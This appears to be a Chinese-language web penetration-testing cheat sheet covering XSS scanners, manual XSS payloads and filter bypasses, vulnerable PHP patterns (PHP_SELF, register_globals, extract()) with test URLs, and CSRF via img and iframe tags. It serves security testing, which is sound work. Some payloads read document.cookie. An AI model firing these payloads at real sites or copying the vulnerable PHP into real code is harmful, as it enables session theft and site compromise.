一.常用工具
1.1.Acunetix Web Vulnerability Scanner
商业Web 漏洞扫描程序,检测XSS,SQL,代码执行,目录遍历,网站程序源代码暴露,CRLF Injection.
1.2.XSSDetect
XSSDetect 微软静态代码分析工具,Visual Studio.NET 的插件
1.3.Ratproxy
支持Linux操作系统
http://code.google.com/p/ratproxy/
检测XSS漏洞,SQL注入,文件包含漏洞,目录浏览,
二.人工检查
<script>alert(0)</script>
< > " ' & #
<img/src="javascript:alert('XSS');">
<img src="javascriptt:alert(/XSS/);" >
<table background="javascript:alert(/XSS/)"></table>
"><script >alert(document.cookie)</script>
"><sc<script>ript>alert(document.cookie)</script
<div style="width: expression(alert('XSS'));">
<div style="{ left:expression(alert('xss') ) }">
<img οnerrοr="alert(0)" src=http://xxx.com/>
如果页面出现排版错误或者JS错误,可能存在XSS
在输入框中输入
<XSS>"'&
并提交,查看源码,如果连<>都未被转义,存在XSS,
如果被过滤,利用其他形式(标签属性,事件)
2.1 标签属性 触发XSS
比如
<input name="name" value=<?=$query?>>
$query为动态内容,替换成
xss οnmοuseοver=evil_script()
最终渲染后的HTML如下
<input name="name" value=xss onmouse=evil_script()>
2.2 事件 触发XSS
比如
<input type="text" name="address" value="XSSTest">
XSSTest为可控输入源,输入
XSSTest "><script>alert(/XSS/)</script><"
返回
<input type="text" name="address" value="XSSTest "><script>alert(/XSS/)</script><"">
或创建事件处理器
“οnfοcus="alert(/XSS/)
2.3 代码嵌入JavaScript
<script> var test= ' XSSTest ';var id =12; .. </script>
XSSTest为可控输入源,输入
'; alert(/XSS/); var foo='
返回
<script> var test=''; alert(/XSS/); var foo=''; var id=12; ... </script>
2.4.利用浏览器可接受的编码
<scriPT>
<scrip%00ipt>
%253cscript%253e
Expre/******/ssion
三.php XSS
3.1 php4 phpinfo() XSS
Stefan Esser 是研究PHP漏洞的专家,他在MOPB-08-2007提到 ,低版本的php对用户输入的变量没有转义就打印出来.测试代码如下
http://localhost/phpinfo.php?a[]=<script>alert(/XSS/);</script>
3.2 $_SERVER[PHP_SELF]
$_SERVER['PHP_SELF'] 是PHP 的一个全局变量,代表当前PHP文件相对于网站根目录的位置地址,攻击者可以提交查询代码修改$_SERVER['PHP_SELF']的值,引发XSS漏洞,
<form method="POST" action="<?php echo $_SERVER['PHP_SELF']; ?>">
<input type="hidden" name="submitted" value="1" />
<input type="submit" value="Submit!" />
</form>
这段代码在很多程序中使用,将其保存为data.php,
访问如下链接
http://127.0.0.1/data.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E%3Cfoo
要回避这个漏洞,可以使用htmlentities($_SERVER['PHP_SELF'])替代$_SERVER['PHP_SELF'],这样即使有恶意代码,也会转换为用于显示的HTML代码
3.3 变量覆盖
1.register_globals=on,该参数在PHP 4.2.0 及以上版本默认为屏蔽,影响PHP如何接收传递过来的参数,如果register_globals打开以后,各种变量都可以被重新注册,
比如以下代码.
<?php
echo $a;
?>
由于$a没有初始化,在register_globals打开的情况下,用户可以轻易地为其赋值,只需
http://127.0.0.1/test.php?a=XSS
如果传递javascript
http://127.0.0.1/test.php?a=XSS<script>alert(/XSS/)</script>
2.extract(),将变量从数组导入到当前符号表中
比如以下代码
<?
$a=1;
extract($_GET);
echo $a;
?>
$a 已被初始化,如果直接访问,输出值为1
http://12.7.0.0.1/test.php?a=XSS
页面输出"XSS",$a被重新赋值
还可以使用
http://127.0.0.1/test.php?a=<script>alert(/XSS/)</script>
3.遍历初始化变量
<?
$a=1;
foreach($_GET as $key => $value){
$$key=$value;
}
print $a;
print $b;
?>
访问以下链接
http://127.0.0.1/test.php?a=XSS&b=<h1>XSS</h1>
四.CSRF
使用Firebug查看POST参数,记录下post参数
users.php?do=add_confirm&email=1%40cc.....
该CSRF Exploit可以嵌入到HTML的属性
<img src="http://127.0.0.1/admin....">
<iframe src="http://127.0.1/...."></iframe>